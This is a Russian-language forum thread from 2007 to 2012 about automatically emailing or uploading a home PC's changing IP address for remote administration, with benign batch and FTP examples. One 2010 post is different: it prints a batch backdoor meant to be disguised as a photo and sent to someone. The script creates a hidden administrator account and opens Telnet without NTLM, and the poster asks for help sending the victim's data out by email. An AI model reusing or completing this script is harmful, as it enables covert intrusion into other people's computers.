Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Сетевые технологии (http://forum.oszone.net/forumdisplay.php?f=31)
-   -   Отправка по почте IP-адреса подключения ADSL (http://forum.oszone.net/showthread.php?t=81807)

Qwe1 29-03-2007 13:39 567991

Отправка по почте IP-адреса подключения ADSL
 
У меня дома Windows XP Pro + ADSL подключение с динамическим IP. Можно ли как-нибудь сделать так, чтобы при подключении к интернету на определенный email (или UIN ICQ) отправлялось бы письмо (сообщение) с IP-адресом подключения ADSL? При обрывах связи и прочего - эта процедура должна повторяться. Все это нужно для того, чтобы управлять домашним компом через RAdmin (или аналогичную программу) через рабочий комп.

Gozya 29-03-2007 18:04 568096

Меня тоже это интересует, толко надо, чтобы прога работала в компутере дома какаянибудь, а я с любого кампутера в интернете мог узнать свой IP домашний.

Greyman 29-03-2007 19:00 568116

ну можно сделал командный файл, к-ый отправляет на мыло результаны, наприер, команды tracert какого-нить стандартного узла (mail.ru, microsoft.com, google.ru и т.п.). Конкретный листинг командного файла - уже технические детали, разбивается на подзадачи, к-ые уже много где обсуждались и можно найти в инете

Gozya 30-03-2007 12:21 568444

Greyman
это через vbs ?

Georgiy 30-03-2007 21:01 568720

Можно сделать так:
1) создать папку, к примеру C:\auto, и положить в нее 2 командных файла dial.cmd и send.cmd.
2) содержимое файла dial.cmd (только дозвон):

@rasdial ADSL ptn ptn
C:\auto\send.cmd

где ADSL - название подключения к интернет, после чего указаны логин и пароль для доступа к интернет (подробнее о команде rasdial можно узнать в справке Windows); вторая строка - вызов командного файла send.cmd.
3) содержимое файла send.cmd (определение IP-адреса подключения и отправка сообщения на определенный(ые) email-адреса):

ipconfig > C:\auto\body.txt
C:\auto\blat261\full\blat.exe C:\auto\body.txt -to mywork@mail.ru -subject "IP-adress" -server smtp.mail.ru -u mymail@mail.ru -pw 12345 -charset windows-1251

Первая строка: формирование файла с информацией об IP-адресе (+ дополнительная информация о сетевых подключениях); вторая строка: вызов сторонней утилиты blat (скачать (150 Кб)). Скаченный архив необходимо извлечь в папку C:\auto (либо в другую папку и изменить соответствующие пути в командных файлах; либо можно скопировать в папку %windir%\system32 или прописать в path). Перед использованием этой утилиты необходимо выполнить настройку (один раз), для чего надо вызвать программу так:

С:\auto\blat261\full\blat.exe -install smtp.mail.ru mymail@mail.ru

где "smtp.mail.ru" - адрес SMTP-сервера, а "mymail@mail.ru" - адрес отправителя (от кого отправлено письмо). Если используется другой почтовый сервер, то необходимо указывать его SMTP-адрес и email-адрес; при этом вторая строка send.cmd также должна быть изменена.

Теперь пару слов про отправку писем (см. вторую строку send.cmd ):
  • C:\auto\body.txt - содержимое этого файла будет использоваться как текст сообщения;
  • -to mywork@mail.ru - на этот email-адрес и будет выслано сообщение;
  • -subject "IP-adress" - тема сообщения;
  • -server smtp.mail.ru - адрес SMTP-сервера (должно совпадать с тем, что указано при настройке (см. выше)) *;
  • -u mymail@mail.ru - имя пользователя (логин) от email-ящика, указанного при настройке (mymail@mail.ru) *;
  • -pw 12345 - пароль от email-ящика, указанного при настройке (mymail@mail.ru) *;
  • -charset windows-1251 - кодировка сообщения.
* - блок настроек приведен для mail.ru, он требует SMTP-авторизацию, то есть указания имени пользователя и пароля. Другие почтовые сервисы будут иметь другие настройки.

P.S.: разделение на два командных файла можно не проводить.

---

Кстати, лучше сделать немного не так: вначале настроить blat так:

blat.exe -install smtp.mail.ru mymail@mail.ru 0 25 - mymail@mail.ru 12345

то есть указать адрес SMTP-сервера, электронный адрес отправителя, время повтора (0, либо поставить символ "-" (тире, без ковычек)), номер порта (25, либо "-" (по умолчанию и так 25)), имя профиля ("-", используем тот, что создан по умолчанию), логин для ящика для SMTP-авторизации, пароль от ящика для SMTP-авторизации (требуется, как я уже говорил, на mail.ru). Логин и пароль хранятся в реестре в зашифрованном виде.

Тогда строка для отправки будет выглядеть так:

C:\auto\blat261\full\blat.exe C:\auto\body.txt -to mywork@mail.ru -subject "Self-mail" -charset windows-1251

---

Gozya 30-03-2007 22:17 568736

Самое примечательное в том, что у меня нет ниодного соединения интернет. интернет у меня через шлюз и утилита ipconfig не умеет определять мой внешний IP, она определяет тока внутренный IP и все. такчто у меня все гораздо сложнее. даже не знаю, что еще придумать, буду рыть дальше. всем спасибо за сообщения, новые идеи все еще приветствуются!

Greyman 30-03-2007 22:57 568746

Georgiy
Цитата:

ipconfig > C:\auto\body.txt
Gozya уже сказал, почему в большинстве случаев это не даст нужного реультата. Именно поэтому я и предложил использование команды tracert, в результатах исполнения к-ой будут указаны все необходимые адресу шлюзов.

Georgiy 31-03-2007 00:31 568778

Автору темы, пожалуй, больше подходит вариант, который предложил я. Ведь команда tracert, если я не ошибаюсь, не дает IP-адрес клиента:
Цитата:

C:\Documents and Settings\Georgiy>tracert mail.ru

Трассировка маршрута к mail.ru [194.67.57.26]
с максимальным числом прыжков 30:

1 11 ms 9 ms 8 ms pppoe-1.16.110.89-adsl.spbnit.ru [89.110.16.1] // это адрес сервера
2 13 ms 9 ms 8 ms m320-1-mmt-e320-1-705.ptn.ru [212.48.198.157]
3 12 ms 8 ms 10 ms m10i-1-mmt-m320-1-mmt.ptn.ru [212.48.198.238]
4 21 ms 19 ms 18 ms 213.59.5.1
5 49 ms 199 ms 59 ms msk-bgw3-ge0-2-0-0.rt-comm.ru [217.106.0.74]
6 39 ms 49 ms 59 ms 213.59.5.102
7 35 ms 30 ms 38 ms cat03.Moscow.gldn.net [195.239.10.189]
8 31 ms 29 ms 29 ms cat01.Moscow.gldn.net [195.239.13.109]
9 35 ms 29 ms 29 ms mail.ru [194.67.57.26]

Трассировка завершена.
Ситуация Gozya отличается от изначально рассматриваемой, поэтому здесь возможны варианты. Например, сайт http://www.2ip.ru/ выдает информацию об IP-адресе. В случае с Qwe1 результат очевиден (если не используются прокси), а что он покажет для подключения Gozya?

Greyman 31-03-2007 12:56 568927

Georgiy
Цитата:

Автору темы, пожалуй, больше подходит вариант, который предложил я. Ведь команда tracert, если я не ошибаюсь, не дает IP-адрес клиента:
Твой вариант - тока частный случай, когда локальный адрес компа присваивается автоматически самим модемом. Мой вариант тоже не универсален, т. к. как раз такой случай он и не учитывает, а подходит для случая с использованием маршрутизатора (все равно какого, аппаратного или из компа). Соответственно для разного случая подключения можно использовать ту или иную команду, либо сделать вообще универсальый набор инфы, объединив результаты обоих этих команд.

dimich22 31-03-2007 14:25 568954

Узнать свой внешний ip можно через скрипт
Запускаем его т.о. cscript showmyip.vbs >> myip.txt и отправляем этот файлик, как это предлагалось выше

Gozya 31-03-2007 17:45 568999

вариант dimich22 действительно проходит!
Но какбы сделать чтобы при изменении IP этот файл ложился на фтп? а не на почту, т.к. на почте оно будет складироваться, а на фтп заменяться файл будет, и дату/время в фале тоже желательно указать.

Georgiy 31-03-2007 21:37 569047

Для заливки файла на некоторый ftp-сервер можно в командный файл вставить следующую строку:

ftp -i -s:C:\auto\ftp.txt

-i убирает вывод запросов;
-s указывает текстовый файл с ftp-командами. Эти команды выполняются автоматически после запуска команды ftp. Значение данного параметра не должно содержать пробелов. Данный параметр следует использовать вместо перенаправления (<).

Содержимое файла ftp.txt:

open ftp.myftpserver.ru
login
password
put C:\auto\myip.txt myip.txt
quit


Такм образом, для Qwe1 есть два варианта:

1) Нужно создать папку C:\auto, распаковать в него blat, настроить его (об этом сказано выше), скопировать все в ту же папку C:\auto скрипт dimich22 и создать один командный файл C:\auto\send.cmd со следующим содержимым:

@rasdial ADSL ptn ptn
cscript showmyip.vbs >> myip.txt
blat261\full\blat.exe C:\auto\myip.txt -to mywork@mail.ru -subject "My home IP" -charset windows-1251
del myip.txt

2) Скопировать все в ту же папку C:\auto скрипт dimich22 и создать один командный файл C:\auto\send.cmd со следующим содержимым:

@rasdial ADSL ptn ptn
cscript showmyip.vbs >> myip.txt
ftp -i -s:C:\auto\ftp.txt
del myip.txt

Содержимое файла ftp.txt приведено выше. Удаление производится из-за того, что скрипт определения IP дописывает информацию, а не перезаписывает. Можно и не удалять или подправить скрипт.

Для Gozya же подходит второй вариант.
>> но какбы сделать чтобы при изменении IP
как часто меняется IP? Может быть можно использовать планировщик Windows, который и будет вызывать командный файл send.cmd?

Negativ 05-04-2007 11:52 570538

Qwe1
Gozya
Уважаемые вы совсем забыли о безопасности. Если Radmin будет слушаться на внешнем интерфейсе вашего компьютера, то попасть на ваш компьютер не составит большого труда. Я бы посоветовал VPN для Radmin'о подобных программ.

Gozya 06-04-2007 01:05 570777

>>как часто меняется IP?
на самом деле IP должен меняться тока при начале новой сессии соединения, но иногда провайдер сам его сбрасует вынудив модем переконектится.


О радмине или VPN речь идти не может, они требовательны к трафику, а я на работе имею слабый канал, та и ненужны мне их функции. Это конечно касается меня, не Qwe1.
Всем спасибо за ответы, скоро разгребусь с делами и буду пробовать.

Vyacheslav.Sedoy 20-05-2010 15:29 1417451

вундыркинды что в компьютерах шарят_____есть такие на форуме

Vyacheslav.Sedoy 20-05-2010 18:40 1417559

ТЕМА ХОРОШАЯ НО Я ВОПРОС НЕ МНОГО ПО ДРУГОМУ ПОСТАВЛЮ ЗНАЧИТ ТАК :
ЕСТЬ Пакетный файл MS-DOS КОТОРЫЙ Я СОБИРАЮСЬ СКЛЕЕТЬ С ФОТОГРАФИЕЙ
И НАМЕРЕН ЗАКИНУТЬ НУЖНОМУ ЧЕЛУ____
НАШЕЛ СКРИПТ НА ОТКРЫТИЕ ПОРТА telnet С ПРОВАМИ АДМИНА

chcp 1251
net user SUPPORT_388945a0 /delete
net user support hacker /add
net localgroup Администраторы support /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "support" /t reg_dword /d 0 y
sc config tlntsvr start= auto
tlntadmn config port=972 sec=-NTLM
net start Telnet

ЗНАЧИТ ПОТОМ ВЫТЯГИВАЮ НУЖНУЮ ИНФОРМАЦИЮ ИЗ КОМПЬЮТЕРА ФАЙЛ ЛОЖИТЬСЯ
C:\ip.txt
ПРИ ПОМОЩИ КОМАНДЫ

cmd.exe /c ipconfig > C:\ip.txt

И ТЕПЕРЬ МНЕ БЫ СКРИПТ ЧТО БЫ ЭТОТ ФАЙЛ НАХОДЯЩИЙСЯ В C:\ip.txt
ЧЕРЕЗ Telnet ПЕРЕКИНУТЬ К СЕБЕ НА ПОЧТУ mail.ru

вот хотел бы спросить у ведующих людей РАЗБИРАЮЩИХ В ЭТОМ ДЕЛЕ
ПОМОЧЬ ЦЕЛИКОМ ______ПРОПИСАТЬ СКРИПТ ОТ А ДО Я
ДЕЛО В ТОМ ЧТО Я В ЭТОМ ДЕЛЕ МАЛО ЧТО СЕКУ________

ПАРНИ ПОМОЖЕТЕ ?

Sayan 02-11-2010 16:17 1533191

дайте ктото ссилку на ети скрипты пожалуйста-очень надо!

QRS 02-11-2010 22:01 1533418

Основная масса современных ADSL, настривается в качестве router и имеет функционал DynDNS.
Если у Вас модем работает в режиме моста, то клиент DynDNS можно установить на ОС.

Таким образом Вы получите доменное имя третьего уровня, которое будет всегда разрешаться в действительный IP-адрес подключения.

PS: VPN для RAdmin можно и не делать, если есть возможность ограничить подключения (межсетевым экраном) с учетом адресов подключений - на работе у Вас скорее ввсего будет использовать выход в Инет со статического адреса.

StarFox 21-03-2011 15:28 1640183

DiP Builder - это средство для создания программ,
которые периодически отсылают внешний IP компьютера
на указанный E-Mail. Это удобно при удалённом
администратировании через интернет, когда внешний
IP адрес компьютера часто изменяется.
_http://assanis.narod.ru/dip

batyaPS 02-09-2011 09:50 1744552

Цитата:

Цитата dimich22
Узнать свой внешний ip можно через скрипт
Запускаем его т.о. cscript showmyip.vbs >> myip.txt и отправляем этот файлик, как это предлагалось выше »

можно ли перезалить скрипт ?

erbolking 11-11-2011 15:38 1793007

Georgiy, большое спасибо за предоставленную вами информацию!

evgeny_le 19-02-2012 01:17 1861739

IP-Sender: http://wmm5.narod.ru/ip-sender/

StarFox 20-02-2012 09:03 1862539

а пароль в этой проге шифруется? или я скидываю эту прогу кому нибудь и он спокойно звлезит в мой email? можно в принципе и отдельную почту зарегать, но это имхо не выход

molecul 20-02-2012 11:46 1862607

А не проще использовать сервис от DynDNS.com или No-IP.com? Их поддержка есть во многих ADSL-модемах (роутерах) и клиенты для Windows.

evgeny_le 21-02-2012 09:29 1863296

StarFox, шифруется, конечно. Проверить оч. просто: введи пароль, сохрани и открой INI-файл блокнотом - увидишь там зашифрованную строку. Шифруется алгоритмом AES.


Время: 12:21.

Время: 12:21.
© OSzone.net 2001-